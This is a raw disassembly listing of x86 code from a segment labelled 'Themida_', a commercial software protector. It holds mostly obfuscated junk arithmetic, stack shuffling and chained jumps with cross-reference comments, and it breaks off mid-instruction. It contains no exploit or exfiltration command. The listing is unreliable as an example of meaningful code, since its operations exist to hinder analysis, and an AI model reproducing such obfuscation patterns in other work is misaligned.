loc_59C1A0: ; CODE XREF: Themida_:loc_5A5921j jmp loc_59857E ; --------------------------------------------------------------------------- loc_59C1A5: ; CODE XREF: Themida_:00598F96j mov ecx, 18BD0135h shl ecx, 3 jmp loc_5A6245 ; --------------------------------------------------------------------------- loc_59C1B2: ; CODE XREF: Themida_:0059ED99j mov eax, esp push 1A43h jmp loc_5A35D7 ; --------------------------------------------------------------------------- loc_59C1BE: ; CODE XREF: Themida_:00599461j pop edi sub ecx, 4 jmp near ptr loc_598CB8+2 ; --------------------------------------------------------------------------- loc_59C1C7: ; CODE XREF: Themida_:005A76F6j mov edi, [esp] add esp, 4 add eax, 720F01D5h push 5B65h jmp loc_5A3BE7 ; --------------------------------------------------------------------------- loc_59C1DF: ; CODE XREF: Themida_:00598B8Dj push 7D146945h jmp loc_59A155 ; --------------------------------------------------------------------------- loc_59C1E9: ; CODE XREF: Themida_:0059B1C2j push 0 sub [esp], edx jmp loc_5A09A1 ; --------------------------------------------------------------------------- loc_59C1F6: ; CODE XREF: Themida_:005A7570j add ebp, 94E1459h push ebp push esi pop ebp pop esi neg esi xchg esi, ebp shl ebp, 7 push 4652h mov [esp], esi mov esi, 14EF62EEh jmp loc_5AD900 ; --------------------------------------------------------------------------- loc_59C219: ; CODE XREF: Themida_:005A38C7j push dword ptr [esp] pop ebx add esp, 4 or eax, eax jz loc_5A5B74 push dword ptr [edi+1Ch] jmp loc_5A4E8A ; --------------------------------------------------------------------------- loc_59C233: ; CODE XREF: Themida_:0059FCE5j ; Themida_:005ABBF8j sub eax, edx pop edx sub eax, 60503D8Ah jmp loc_5A708D ; --------------------------------------------------------------------------- mov ax, [esp] push 5354h mov [esp], ebx push 62CDh mov [esp], esp add dword ptr [esp], 4 pop ebx push 3C5Ch mov [esp], eax push 307F2138h mov eax, [esp] add esp, 4 shr eax, 6 push esi mov esi, 0C1FC80h xor eax, esi jmp loc_5AAE61 ; --------------------------------------------------------------------------- loc_59C27F: ; CODE XREF: Themida_:005A8CE0j sub esp, 4 mov [esp], ebx mov ebx, 21747A9Fh jmp loc_598FB7 ; --------------------------------------------------------------------------- loc_59C28F: ; CODE XREF: Themida_:0059A068j sub esp, 4 jmp loc_5ABE71 ; --------------------------------------------------------------------------- loc_59C29A: ; CODE XREF: Themida_:005A517Aj mov [esp], eax push ebx mov ebx, 5D2462CFh mov eax, 5D2462CBh jmp loc_59AAB7 ; --------------------------------------------------------------------------- loc_59C2AD: ; CODE XREF: Themida_:005ADA6Aj sub bl, cl add bl, 41h mov ecx, [esp] jmp loc_5AABA0 ; --------------------------------------------------------------------------- loc_59C2BA: ; CODE XREF: Themida_:005A018Aj mov eax, 619C0540h sub eax, ebp pop ebp add edi, eax pop eax sub esp, 4 mov [esp], eax push ebx mov ebx, 417B38E3h sub ebx, 0D0B3F01Eh push ebx pop eax pop ebx xor edi, eax pop eax add esi, edi mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push ebp mov ebp, 4 sub esi, ebp mov ebp, [esp] push edi push esp pop edi add edi, 4 add edi, 4 jmp loc_5A4092 ; --------------------------------------------------------------------------- loc_59C30E: ; CODE XREF: Themida_:0059DB1Dj shr eax, 7 xor eax, 10CF4667h xor eax, 6BE761Dh and eax, 246B2551h inc eax xor eax, 5BBB3452h jmp loc_5AC03A ; --------------------------------------------------------------------------- loc_59C32B: ; CODE XREF: Themida_:005A85C7j and eax, edi mov edi, [esp] push edx push esp pop edx push ebx push edi mov edi, 25DF6B6Ch neg edi jno loc_5AA94E xor edi, 45810BF3h mov al, 59h push edi loc_59C34C: ; CODE XREF: Themida_:0059AA33j mov ah, 6Fh jmp loc_59DD88 ; --------------------------------------------------------------------------- loc_59C353: ; CODE XREF: Themida_:005A5128j push eax mov eax, 69103A94h xor eax, 3CE4733Bh not eax jmp loc_59F124 ; --------------------------------------------------------------------------- loc_59C365: ; CODE XREF: Themida_:005A160Ej xchg edi, [esp] pop esp add eax, ebp pop ebp xor eax, [esp] jmp loc_5A19EF ; --------------------------------------------------------------------------- loc_59C374: ; CODE XREF: Themida_:005A5352j add esp, 4 jmp loc_5AF32F ; --------------------------------------------------------------------------- loc_59C37F: ; CODE XREF: Themida_:005AD9B8j add eax, [edx] pop edx mov ecx, [esp] push edx jmp loc_5A1DE1 ; --------------------------------------------------------------------------- loc_59C38B: ; CODE XREF: Themida_:0059C6DFj xor ebp, eax xor eax, ebp jmp loc_5A6677 ; --------------------------------------------------------------------------- loc_59C394: ; CODE XREF: Themida_:0059F140j ; Themida_:005A3371j pop ecx mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ecx push 6D7Ah mov [esp], ebx sub esp, 4 mov [esp], ecx mov cl, 24h push edx mov dl, cl mov bh, dl jmp loc_59ADA0 ; --------------------------------------------------------------------------- loc_59C3C3: ; CODE XREF: Themida_:005ABCC1j xchg ecx, [esp] pop esp add ebx, 4 push edx jmp loc_5A91C3 ; --------------------------------------------------------------------------- loc_59C3D3: ; CODE XREF: Themida_:0059D346j xchg edi, [esp] pop esp cmp ecx, eax pushf jmp loc_5AEA03 ; --------------------------------------------------------------------------- loc_59C3DF: ; CODE XREF: Themida_:loc_59ED71j ; Themida_:005A2A03j push eax push edx push 611111CAh mov edx, [esp] add esp, 4 or edx, 5CEC3CBCh jmp loc_59CA20 ; --------------------------------------------------------------------------- loc_59C3FA: ; CODE XREF: Themida_:0059A526j push ebp push ebx mov ebx, 1E6372C5h mov ebp, ebx pop ebx mov esi, ebp pop ebp shr esi, 8 jnp loc_5AE220 shl esi, 2 jns loc_5990CD push 1768h mov [esp], ecx jmp loc_5A8507 ; --------------------------------------------------------------------------- loc_59C426: ; CODE XREF: Themida_:005A0D6Aj add eax, edi mov edi, [esp] add esp, 4 sub eax, ebx sub eax, 37893787h sub eax, 2E91261Eh push 115Fh jmp loc_5AA8C2 ; --------------------------------------------------------------------------- loc_59C444: ; CODE XREF: Themida_:005AADF9j mov edx, 4CD839F2h xor edx, 238827A5h neg edx or edx, 70E00F22h xor edx, 63B7052Fh shr edx, 4 xor edx, 0F321B7Eh jmp loc_59BC68 ; --------------------------------------------------------------------------- loc_59C46B: ; CODE XREF: Themida_:005A2034j jnp loc_5A17C7 xor cl, 5Ah jnp loc_5A1356 and al, 61h loc_59C47C: ; CODE XREF: Themida_:loc_59B657j push edx mov edx, 46AA5C31h or esi, edx pop edx add esi, 10050191h mov edx, esi pop esi push ebx jmp loc_5A54F0 ; --------------------------------------------------------------------------- loc_59C494: ; CODE XREF: Themida_:0059FAB6j pop ebp pop ecx neg ebp jns loc_5AD718 jmp loc_59F188 ; --------------------------------------------------------------------------- loc_59C4A3: ; CODE XREF: Themida_:005A0B90j sub eax, 23652598h jmp loc_59FA02 ; --------------------------------------------------------------------------- loc_59C4AD: ; CODE XREF: Themida_:005A2179j push 0AEE0C1Eh pop ebp shl ebp, 6 jp loc_59EE62 shr ebp, 4 jmp loc_5A6595 ; --------------------------------------------------------------------------- loc_59C4C4: ; CODE XREF: Themida_:005AD77Fj mov eax, esp add eax, 4 jmp loc_59850A ; --------------------------------------------------------------------------- loc_59C4D0: ; CODE XREF: Themida_:005A421Ej xchg ebx, [esp] pop esp push esi mov esi, 1BB25C56h or esi, 7EBE3870h shl esi, 2 jmp loc_5A501B ; --------------------------------------------------------------------------- push ebp push 0FEh push dword ptr [esp] jmp loc_599D3B ; --------------------------------------------------------------------------- loc_59C4F6: ; CODE XREF: Themida_:005A5E1Dj sub edi, 51D351B1h add eax, edi jmp loc_5A155F ; --------------------------------------------------------------------------- loc_59C503: ; CODE XREF: Themida_:0059D9E2j and ebp, 18D217C8h jl loc_59FD53 xor ebp, 3F2A60AFh mov edx, ebp jmp loc_59A3E1 ; --------------------------------------------------------------------------- loc_59C51C: ; CODE XREF: Themida_:00599328j dec eax add eax, 422836E8h jmp loc_5AB318 ; --------------------------------------------------------------------------- loc_59C527: ; CODE XREF: Themida_:0059F07Cj pop edi sub eax, 41BB43E2h jmp loc_5ACF9B ; --------------------------------------------------------------------------- loc_59C532: ; CODE XREF: Themida_:005AA256j xchg esi, [esp] pop esp mov [esp], edi push ebp jmp loc_5A0608 ; --------------------------------------------------------------------------- loc_59C53F: ; CODE XREF: Themida_:00599247j xor ebp, 5D1DE28Ch xor esi, ebp pop ebp and esi, 3B1914BBh push esi not dword ptr [esp] jmp loc_5AECC3 ; --------------------------------------------------------------------------- loc_59C557: ; CODE XREF: Themida_:005A8004j add ebx, 4E30395h jo loc_59F572 sub ebx, 0C5C39179h push ecx mov ecx, 23C0361Bh and ecx, 1D657C7Eh jmp loc_599F6C ; --------------------------------------------------------------------------- loc_59C57A: ; CODE XREF: Themida_:005992A6j pop eax pop edx pop ecx push ebp push 4 pop ebp jmp loc_5A1362 ; --------------------------------------------------------------------------- loc_59C589: ; CODE XREF: Themida_:0059DFFFj push ecx mov ecx, 3AB0DC03h xor ebp, ecx jmp loc_5A30BC ; --------------------------------------------------------------------------- loc_59C596: ; CODE XREF: Themida_:005AA8CFj pop edx push edi mov edi, 6FD54224h sub edi, 0FFFFFFFFh jmp loc_5AF10D ; --------------------------------------------------------------------------- loc_59C5A8: ; CODE XREF: Themida_:005A6863j not ebp xchg ebp, [esp] pop edx xor edx, 9BA93A1Eh add eax, edx mov edx, [esp] add esp, 4 add eax, ebx push ebx mov ebx, 0D1578F6h shr ebx, 3 add ebx, 352B202Fh jmp loc_59E2DA ; --------------------------------------------------------------------------- lodsd push ebx jmp loc_5ADA88 ; --------------------------------------------------------------------------- loc_59C5DC: ; CODE XREF: Themida_:005AAFC9j mov [esp], edx mov edx, esp add edx, 4 push edi jmp loc_59FD53 ; --------------------------------------------------------------------------- loc_59C5ED: ; CODE XREF: Themida_:005A5605j push ecx push 2E4B1AA9h pop ecx add ecx, 0D1B4E55Bh mov esi, ecx pop ecx jmp loc_5AE10E ; --------------------------------------------------------------------------- loc_59C602: ; CODE XREF: Themida_:005AF225j pop dword ptr [esp] pop esp jmp loc_59B7D2 ; --------------------------------------------------------------------------- loc_59C60B: ; CODE XREF: Themida_:0059B9E1j add esp, 4 push 62A2h jmp loc_59B8FA ; --------------------------------------------------------------------------- loc_59C618: ; CODE XREF: Themida_:005A4EC5j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xchg esi, [esp] mov esp, [esp] mov [esp], edi push dword ptr [esp] mov edx, [esp] push edi mov edi, esp jmp loc_59DC93 ; --------------------------------------------------------------------------- mov cx, [esp] push 297Eh mov [esp], eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov eax, [esp] add esp, 4 push edx mov edx, 4 add eax, edx pop edx jmp loc_5A2583 ; --------------------------------------------------------------------------- lodsw jmp loc_59FE4C ; --------------------------------------------------------------------------- loc_59C673: ; CODE XREF: Themida_:005AB558j mov ebx, [esp] add esp, 4 shr cl, 4 jmp loc_5ABD7D ; --------------------------------------------------------------------------- loc_59C681: ; CODE XREF: Themida_:0059D5E2j mov [esp], edi mov edi, esp jmp loc_5A35F5 ; --------------------------------------------------------------------------- loc_59C68B: ; CODE XREF: Themida_:005A0C86j pop ecx inc cl jp loc_5AD2A1 or cl, 0D6h jnb loc_599533 jns loc_5A279B loc_59C6A3: ; CODE XREF: Themida_:005A202Bj mov ecx, 2F682038h push edx mov edx, 3AC17AF8h shr edx, 7 inc edx shr edx, 4 add edx, 5D267E92h xor edx, 593AF05Eh sub ecx, edx pop edx jmp loc_5AA52F ; --------------------------------------------------------------------------- loc_59C6C9: ; CODE XREF: Themida_:005A7CCBj inc esi inc esi shr esi, 6 push eax mov eax, 562E3876h xor eax, 530B2E93h inc eax not eax dec eax xor eax, ebp jmp loc_59C38B ; --------------------------------------------------------------------------- loc_59C6E4: ; CODE XREF: Themida_:005A508Dj pop esp sub ebp, 3F01D24h add ebp, eax add ebp, 3F01D24h pop eax push 2619h mov [esp], edi push ecx push 6F976CD3h pop ecx not ecx sub ecx, 1FB07854h ja loc_5A81D9 push ebx mov ebx, 3A02A881h sub ecx, ebx pop ebx jmp loc_5A915E ; --------------------------------------------------------------------------- push edi loc_59C720: ; CODE XREF: Themida_:005A5BBCj xor eax, [esp] mov esp, [esp] push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_5A34FE ; --------------------------------------------------------------------------- loc_59C73C: ; CODE XREF: Themida_:005AC468j add [esp+4], eax push 3451h mov [esp], edx jmp loc_5ACFA1 ; --------------------------------------------------------------------------- loc_59C74D: ; CODE XREF: Themida_:005A1123j jmp loc_5ABB11 ; --------------------------------------------------------------------------- loc_59C752: ; CODE XREF: Themida_:0059D02Cj mov [esp], ebx push edx mov edx, esp jmp loc_5A281D ; --------------------------------------------------------------------------- loc_59C75D: ; CODE XREF: Themida_:005A5658j mov ecx, [esp] add esp, 4 xor ecx, 0B557357h mov edi, ecx jmp loc_5AF1A2 ; --------------------------------------------------------------------------- loc_59C770: ; CODE XREF: Themida_:0059B0AEj mov edi, esp add edi, 4 add edi, 4 jmp loc_59B988 ; --------------------------------------------------------------------------- loc_59C783: ; CODE XREF: Themida_:0059D142j mov ebx, [esp] add esp, 4 shr ecx, 1 and ecx, 6116160Dh add ecx, 0FFFFFFFFh jmp loc_5ADF19 ; --------------------------------------------------------------------------- loc_59C79C: ; CODE XREF: Themida_:005A2364j jmp loc_5AC84F ; --------------------------------------------------------------------------- loc_59C7A1: ; CODE XREF: Themida_:0059E9ADj ; Themida_:005A91BEj pop dword ptr [esp] jmp loc_5A1485 ; --------------------------------------------------------------------------- loc_59C7A9: ; CODE XREF: Themida_:005A9568j mov [esp], ax jmp loc_59838C ; --------------------------------------------------------------------------- loc_59C7B2: ; CODE XREF: Themida_:005AA505j push eax jmp loc_5AB292 ; --------------------------------------------------------------------------- loc_59C7B8: ; CODE XREF: Themida_:005ABAA3j add ecx, 4 push ebx mov ebx, 2F50D7Ch jmp loc_5AE6F7 ; --------------------------------------------------------------------------- loc_59C7C9: ; CODE XREF: Themida_:005A0CBCj push ebp push ebx push 342143DDh pop ebx neg ebx and ebx, 27673683h xor ebx, 3463407h jmp loc_5AD01D ; --------------------------------------------------------------------------- loc_59C7E4: ; CODE XREF: Themida_:005AF3CDj push 6C14h mov [esp], ebp mov ebp, 6D964C91h jmp loc_59DA6E ; --------------------------------------------------------------------------- loc_59C7F6: ; CODE XREF: Themida_:0059A255j mov [esp], bx push 7264h mov [esp], ebp mov bp, 0D54h xchg dx, bp not dx xchg dx, bp dec bp jnz loc_59EF32 inc bp jmp loc_5AB421 ; --------------------------------------------------------------------------- pop bx mov dl, 0B6h pop ebp loc_59C823: ; CODE XREF: Themida_:00598E15j push esi jmp loc_5A457D ; --------------------------------------------------------------------------- loc_59C829: ; CODE XREF: Themida_:0059E94Fj sub edi, eax pop eax shr edi, 5 or edi, 65D4109Bh sub edi, 65DF30D7h add esi, edi mov edi, [esp] add esp, 4 push 88Ch jmp loc_5AC4AC ; --------------------------------------------------------------------------- loc_59C850: ; CODE XREF: Themida_:0059B4B5j mov [esp], ecx push esp mov ecx, [esp] add esp, 4 add ecx, 4 add ecx, 4 jmp loc_5A2262 ; --------------------------------------------------------------------------- loc_59C86E: ; CODE XREF: Themida_:005AAE84j mov [esp], ebp push esi mov esi, 4C33A0h shr esi, 7 sub esi, 9865h mov ebp, esi mov esi, [esp] add esp, 4 push eax jmp loc_5AB1F6 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_5ADE52 ; --------------------------------------------------------------------------- loc_59C896: ; CODE XREF: Themida_:005AECBEj sub ecx, 812459A8h xor eax, ecx pop ecx xor eax, 5C2603B3h jp loc_5A320F add eax, 29788E37h jle loc_5AA040 loc_59C8B5: ; CODE XREF: Themida_:005A5E34j push esp mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push 4689h jmp loc_5A5F3A ; --------------------------------------------------------------------------- loc_59C8D3: ; CODE XREF: Themida_:0059DB76j movzx cx, al push cx pushf jmp loc_59838C ; --------------------------------------------------------------------------- push small 5EB7h mov [esp], sp jmp loc_59A248 ; --------------------------------------------------------------------------- loc_59C8EC: ; CODE XREF: Themida_:005A4886j mov [esp], eax mov eax, 2 add ebx, eax jmp loc_5A72C6 ; --------------------------------------------------------------------------- loc_59C8FB: ; CODE XREF: Themida_:005AE475j not esi not esi jmp loc_59E328 ; --------------------------------------------------------------------------- loc_59C904: ; CODE XREF: Themida_:005AAC04j add ecx, 4 sub ecx, 4 jmp loc_5A3F79 ; --------------------------------------------------------------------------- loc_59C912: ; CODE XREF: Themida_:005AEC42j sub edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] mov [esp], ebx push esp mov ebx, [esp] push esi jmp loc_59D77D ; --------------------------------------------------------------------------- loc_59C931: ; CODE XREF: Themida_:0059EC1Cj shr ecx, 4 js loc_59860C jmp loc_5A1AF9 ; --------------------------------------------------------------------------- loc_59C93F: ; CODE XREF: Themida_:loc_599152j jmp loc_5A1269 ; --------------------------------------------------------------------------- loc_59C944: ; CODE XREF: Themida_:005A2C23j pop dword ptr [esp] jmp loc_5AD361 ; --------------------------------------------------------------------------- loc_59C94C: ; CODE XREF: Themida_:0059EB1Dj push 1513h push ecx mov ecx, esp jmp loc_59FEBF ; --------------------------------------------------------------------------- loc_59C959: ; CODE XREF: Themida_:005998F0j push ebx push ecx mov ecx, 19EE1E5Ch mov ebx, 5E7471F6h sub ebx, ecx jmp loc_5A7AE5 ; --------------------------------------------------------------------------- loc_59C96C: ; CODE XREF: Themida_:005A9E98j mov ebp, [esp] jmp loc_59CCF8 ; --------------------------------------------------------------------------- loc_59C974: ; CODE XREF: Themida_:005A8AD3j add bl, al sub bl, 0F7h push eax mov al, 58h xor al, 75h jmp loc_5A89EA ; --------------------------------------------------------------------------- loc_59C983: ; CODE XREF: Themida_:005A84CDj sub ebp, 2 push 1BA9h mov [esp], ebp push dword ptr [esp+4] jmp loc_598B42 ; --------------------------------------------------------------------------- loc_59C997: ; CODE XREF: Themida_:0059BBC8j sub esp, 4 jmp loc_5A8233 ; --------------------------------------------------------------------------- loc_59C9A2: ; CODE XREF: Themida_:0059AE62j jo loc_5A746E shl edi, 2 add edi, 1F0A2591h jno loc_5A67A0 sub edi, 107FB628h push eax mov eax, edi jmp loc_5A6A5F ; --------------------------------------------------------------------------- loc_59C9C5: ; CODE XREF: Themida_:005A5E03j xor edx, 5DF51856h shr edx, 5 jmp loc_5A7D15 ; --------------------------------------------------------------------------- loc_59C9D3: ; CODE XREF: Themida_:005AB163j pop ebx sub esp, 4 mov [esp], ecx jmp loc_5A70EE ; --------------------------------------------------------------------------- loc_59C9E2: ; CODE XREF: Themida_:0059BA0Bj xor ebx, 6FC404A0h jmp loc_59E9F3 ; --------------------------------------------------------------------------- loc_59C9ED: ; CODE XREF: Themida_:00599AD1j mov ebp, 5C5501DEh jmp loc_59E23A ; --------------------------------------------------------------------------- loc_59C9F7: ; CODE XREF: Themida_:005A7F71j xor ecx, ebx mov ebx, [esp] add esp, 4 xchg ebx, ecx dec ebx xchg ebx, ecx jmp loc_5AADF8 ; --------------------------------------------------------------------------- loc_59CA0C: ; CODE XREF: Themida_:0059F7BFj ; Themida_:005A15B5j rol word ptr [esp], cl pushf jmp loc_5AC96C ; --------------------------------------------------------------------------- loc_59CA16: ; CODE XREF: Themida_:0059FC71j add esp, 4 loc_59CA19: ; CODE XREF: Themida_:005A083Cj ; Themida_:005AF378j push ebp push esp jmp loc_5AD40B ; --------------------------------------------------------------------------- loc_59CA20: ; CODE XREF: Themida_:0059C3F5j jp loc_5A80C4 sub edx, 1C026C0Fh jmp loc_5A83A4 ; --------------------------------------------------------------------------- loc_59CA31: ; CODE XREF: Themida_:005A87FEj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] and [esp], ax pushf jmp loc_5A0855 ; --------------------------------------------------------------------------- loc_59CA47: ; CODE XREF: Themida_:0059F8FCj mov edx, 0B275D86h shr edx, 7 add edx, 4FC77B85h js loc_59CADD or edx, 278A2ECBh jz loc_5AE220 shr edx, 2 jns loc_5AA622 push esi jmp loc_5A6B85 ; --------------------------------------------------------------------------- push edi mov edi, 4 push esp loc_59CA7D: ; CODE XREF: Themida_:005A2E8Ej add edx, ebp pop ebp xchg edx, [esp] pop esp push ecx mov ch, 38h add ch, 39h push ebx mov bh, 0D7h not bh xor bh, 4Ah or bh, 0E3h add bh, 57h jmp loc_5A8F30 ; --------------------------------------------------------------------------- loc_59CA9D: ; CODE XREF: Themida_:005A7FDBj sub eax, 90D0F360h mov edi, eax pop eax xor edi, 4D453918h jmp loc_5A23F5 ; --------------------------------------------------------------------------- loc_59CAB0: ; CODE XREF: Themida_:005A44BCj jmp loc_598A8D ; --------------------------------------------------------------------------- loc_59CAB5: ; CODE XREF: Themida_:0059995Aj mov ecx, esp push eax push edx jmp loc_5A8E67 ; --------------------------------------------------------------------------- loc_59CABE: ; CODE XREF: Themida_:005A8943j mov ebp, 3103048Ch dec ebp xor ebp, 6759285Fh sub eax, ebp jmp loc_5A722F ; --------------------------------------------------------------------------- loc_59CAD1: ; CODE XREF: Themida_:0059A6D5j ; Themida_:005A3399j mov esp, [esp] mov [esp], ax jmp loc_5A7851 ; --------------------------------------------------------------------------- loc_59CADD: ; CODE XREF: Themida_:0059994Dj ; Themida_:0059CA55j or edx, 278A2ECBh jz loc_59C133 shr edx, 2 jns loc_5A7794 jmp loc_59B079 ; --------------------------------------------------------------------------- mov edi, [esp] add esp, 4 sub al, 3Ah pop edx loc_59CB00: ; CODE XREF: Themida_:005A48FEj jmp loc_59838C ; --------------------------------------------------------------------------- loc_59CB05: ; CODE XREF: Themida_:005A0862j ; Themida_:005AA67Fj add ecx, edi jmp loc_59B6C9 ; --------------------------------------------------------------------------- loc_59CB0C: ; CODE XREF: Themida_:005A0816j mov ebx, esp add ebx, 4 jmp loc_59F145 ; --------------------------------------------------------------------------- loc_59CB19: ; CODE XREF: Themida_:0059DEFBj jbe loc_5AE610 sub esp, 4 mov [esp], edi push ecx mov ecx, 0CA20E7Dh push edx mov edx, 56F55BA1h jmp loc_5A6FDD ; --------------------------------------------------------------------------- loc_59CB39: ; CODE XREF: Themida_:005ACF6Ej push eax not dword ptr [esp] jmp loc_5A43C8 ; --------------------------------------------------------------------------- loc_59CB42: ; CODE XREF: Themida_:005AD8A6j neg dword ptr [esp] pop ebp push 0 sub [esp], ebp jmp loc_5A7C0E ; --------------------------------------------------------------------------- loc_59CB53: ; CODE XREF: Themida_:00599DEBj xor dh, 0F5h add bl, 97h add bl, dh sub bl, 97h mov edx, [esp] jmp loc_5A724A ; --------------------------------------------------------------------------- loc_59CB66: ; CODE XREF: Themida_:0059B39Ej mov dl, 2 not dl jmp loc_5A1657 ; --------------------------------------------------------------------------- loc_59CB6F: ; CODE XREF: Themida_:005A77CCj mov dl, 2Ah sub al, 2Dh push edx mov dh, 6Fh or dh, 6Eh jmp loc_5A8F6B ; --------------------------------------------------------------------------- loc_59CB7E: ; CODE XREF: Themida_:005AE490j pop edx add edx, 4 jmp loc_5A7C4A ; --------------------------------------------------------------------------- loc_59CB8A: ; CODE XREF: Themida_:005A8D6Bj pop eax push 7079h mov [esp], edx push 4 mov edx, [esp] push 4088h mov [esp], edi mov edi, esp add edi, 4 jmp loc_59ED48 ; --------------------------------------------------------------------------- loc_59CBB0: ; CODE XREF: Themida_:005AB3C2j xor edx, 0A7E79CDEh mov ecx, edx push dword ptr [esp] jmp loc_5A1E26 ; --------------------------------------------------------------------------- loc_59CBC0: ; CODE XREF: Themida_:005A8502j not dword ptr [esp] mov ecx, [esp] add esp, 4 sub ecx, 1 push ebx jmp loc_5A2733 ; --------------------------------------------------------------------------- loc_59CBD2: ; CODE XREF: Themida_:005A603Bj add ecx, ebp pop ebp jmp loc_59A1D6 ; --------------------------------------------------------------------------- loc_59CBDA: ; CODE XREF: Themida_:005A11BBj xchg eax, esi not eax xchg eax, esi xchg eax, esi jmp loc_59DFB0 ; --------------------------------------------------------------------------- loc_59CBE4: ; CODE XREF: Themida_:005A7D6Ej mov dh, 8Fh add dh, 82h neg dh add dh, 50h shr dh, 1 jmp loc_5AF051 ; --------------------------------------------------------------------------- loc_59CBF5: ; CODE XREF: Themida_:005A68AAj not edx not edx or edx, 2BB24DFEh jle loc_5AD8AB sub edx, 3C8B7D1Eh sub edx, 76DD20F7h xor edx, 0BB5FDE92h xor edx, 4A40084Ah sub edx, 0FFFFFFFFh add edx, 2E252584h push ebp mov ebp, 62732856h jmp loc_598D58 ; --------------------------------------------------------------------------- loc_59CC34: ; CODE XREF: Themida_:0059A5E3j xor cl, bh pop ebx add cl, dl jmp loc_5A3441 ; --------------------------------------------------------------------------- loc_59CC3E: ; CODE XREF: Themida_:005A5BD4j mov ebp, 3C3D2351h sub ebp, 62332895h jmp loc_59B1A6 ; --------------------------------------------------------------------------- loc_59CC4E: ; CODE XREF: Themida_:0059B9D8j xor esi, edx jmp loc_5A820C ; --------------------------------------------------------------------------- loc_59CC55: ; CODE XREF: Themida_:005AF528j inc bh jmp loc_598E5C ; --------------------------------------------------------------------------- loc_59CC5C: ; CODE XREF: Themida_:loc_59EF67j not edx shr edx, 7 jmp loc_59E863 ; --------------------------------------------------------------------------- loc_59CC66: ; CODE XREF: Themida_:005A3FACj pop esi push eax mov eax, esp push esi mov esi, 4 add eax, esi pop esi add eax, 4 push eax push dword ptr [esp+4] pop eax jmp loc_5A795E ; --------------------------------------------------------------------------- loc_59CC81: ; CODE XREF: Themida_:loc_5A0E54j ; Themida_:005A6B9Ej add ebp, 1837740Eh jl loc_598B26 push esi mov esi, 74F60100h add esi, 9422A279h sub ebp, esi mov esi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_599261 ; --------------------------------------------------------------------------- loc_59CCB1: ; CODE XREF: Themida_:0059FED6j sub dword ptr [esp], 0AB11F51h pop ecx add ecx, 0AB11F51h mov edx, [esp] add esp, 4 push edi mov edi, 5D5E76FBh add eax, 5C242DB2h add eax, edi sub eax, 5C242DB2h mov edi, [esp] add esp, 4 jmp loc_5A3CDF ; --------------------------------------------------------------------------- loc_59CCE5: ; CODE XREF: Themida_:005AD90Bj pop ebp push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp mov [esp], eax jmp loc_5AC65B ; --------------------------------------------------------------------------- loc_59CCF8: ; CODE XREF: Themida_:0059C96Fj add esp, 4 add eax, 77B11052h add eax, 215353F5h add eax, ebx sub eax, 215353F5h sub eax, 77B11052h push ebx push eax mov eax, 4AED6C9Ch or eax, 4A0F54DBh jns loc_5A06F0 shr eax, 8 neg eax jz loc_5ABBFD loc_59CD31: ; CODE XREF: Themida_:005A304Dj add dword ptr [esp], 4 pop ebx add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] mov ebx, [esp] jmp loc_5AB914 ; --------------------------------------------------------------------------- loc_59CD4F: ; CODE XREF: Themida_:005A516Bj add edx, ebx mov ebx, [esp] push ebx mov ebx, esp push edx mov edx, 4 add ebx, 58FD4373h add ebx, edx sub ebx, 58FD4373h pop edx add ebx, 4 xchg ebx, [esp] pop esp jmp loc_59838C ; --------------------------------------------------------------------------- loc_59CD78: ; CODE XREF: Themida_:005ACACBj mov bh, dl pop edx jmp loc_5AE653 ; --------------------------------------------------------------------------- loc_59CD80: ; CODE XREF: Themida_:005A349Bj pop edi add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] bt [esp], eax pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_59CD9A: ; CODE XREF: Themida_:005A2BEBj mov eax, [esp] add esp, 4 push 7D44h mov [esp], ecx jmp loc_59961C ; --------------------------------------------------------------------------- loc_59CDAD: ; CODE XREF: Themida_:005A3997j mov ebp, 3F9B771Ch push ebp sub dword ptr [esp], 1A587E3Bh jmp loc_5A5A84 ; --------------------------------------------------------------------------- loc_59CDBF: ; CODE XREF: Themida_:00598E0Fj ; Themida_:005A3B5Ej jmp loc_5987E0 ; --------------------------------------------------------------------------- loc_59CDC4: ; CODE XREF: Themida_:005A938Ej push bx mov bl, 0A8h add ch, bl pop bx sub esp, 4 mov [esp], ebx push edx mov dl, 95h push eax mov ah, dl mov bl, ah pop eax pop edx add bl, 0B8h jmp loc_59E447 ; --------------------------------------------------------------------------- loc_59CDE4: ; CODE XREF: Themida_:005A19EAj mov ebp, [esp] add esp, 4 jmp loc_5A0C1D ; --------------------------------------------------------------------------- loc_59CDF2: ; CODE XREF: Themida_:005A86F1j pop esi xor edx, ebx mov ebx, [esp] push 7D16h mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp loc_59CE12: ; CODE XREF: Themida_:005A1A87j ; Themida_:005AB382j push dword ptr [edi+24h] jmp loc_59EED2 ; --------------------------------------------------------------------------- loc_59CE1A: ; CODE XREF: Themida_:0059AA75j ; Themida_:005A8966j mov esp, [esp] jmp loc_5A18EA ; --------------------------------------------------------------------------- loc_59CE22: ; CODE XREF: Themida_:005AA2EAj pop esi add esp, 4 add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] pop esi jmp loc_59E031 ; --------------------------------------------------------------------------- loc_59CE3D: ; CODE XREF: Themida_:0059EBA3j add edx, 62E35A91h sub ebx, edx mov edx, [esp] add esp, 4 push 227h jmp loc_5A20FA ; --------------------------------------------------------------------------- loc_59CE55: ; CODE XREF: Themida_:loc_59F86Bj neg al add al, 90h mov dl, al pop eax jmp loc_5A04F1 ; --------------------------------------------------------------------------- loc_59CE61: ; CODE XREF: Themida_:005A3009j sub ebp, 32AB1ECCh inc ebp push eax jmp 